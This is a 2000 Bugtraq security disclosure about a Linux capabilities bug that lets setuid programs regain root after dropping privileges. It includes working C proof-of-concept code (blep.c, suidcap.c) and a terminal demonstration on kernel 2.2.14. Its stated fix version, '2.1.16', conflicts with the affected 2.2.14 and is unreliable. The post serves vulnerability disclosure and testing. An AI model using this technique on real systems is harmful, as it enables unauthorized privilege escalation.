Bugtraq mailing list archives

the Linux Capabilities bug


From: espel () IAGORA NET (Roger Espel Llima)
Date: Thu, 8 Jun 2000 16:56:24 +0200


I did some testing about this Linux Capabilities bug; the problem is as
described: random user can take out the capability CAP_SETUID from its
inheritable set, and then execute a suid program.  The suid program runs
with full root privileges, *except* that when it does a
setuid(getuid());  (as many suid programs do to give up privileges), it
doesn't reset the saved uid.  So the program can later do a setuid(0);,
and get root privs again.

Here's some code to test whether giving up root works:

------- blep.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        if (geteuid()) {
          printf("Run me as root please\n");
          exit(1);
        }
        printf("BEFORE: %d %d\n", getuid(), geteuid());
        setuid(getuid());
        printf("GAVE UP: %d %d\n", getuid(), geteuid());
        setuid(0);
        printf("GOT BACK: %d %d\n", getuid(), geteuid());
        if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
        return 0;
}

And here's code to disable the CAP_SETUID capability:

------- suidcap.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>

_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);

typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;

void remove_cap(capdata_t *data, int cap) {
  data->effective &= ~(1 << cap);
  data->permitted &= ~(1 << cap);
  data->inheritable &= ~(1 << cap);
}

void cap_get(capheader_t *header, capdata_t *data) {
  if (capget(header, data) == 0) return;
  perror("capget");
  exit(-1);
}

void cap_set(capheader_t *header, capdata_t *data) {
  if (capset(header, data) == 0) return;
  perror("capset");
  exit(-1);
}

main() {
  capheader_t header;
  capdata_t data;

  header.version = _LINUX_CAPABILITY_VERSION;
  header.pid = 0;
  data.effective = data.permitted = data.inheritable = 0;
  cap_get(&header, &data);
  remove_cap(&data, CAP_SETUID);
  cap_set(&header, &data);
  printf("launching shell...\n");
  execl("/bin/sh", "/bin/sh", NULL);
  perror("execl");
}

And finally here's a demonstration of the problem:

$ uname -s -r
Linux 2.2.14-15mdk
$ gcc blep.c -o blep
$ gcc suidcap.c -o suidcap
$ su
Password:
# chown root.root blep
# chmod 4755 blep
# exit
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 0
PROBLEM!!
sh-2.03$ exit

Finally, I can confirm that Linux 2.1.16 fixes the problem:

$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
sh-2.03$ exit

--
Roger Espel Llima, espel () iagora net
http://www.iagora.com/~espel/index.html



Current thread: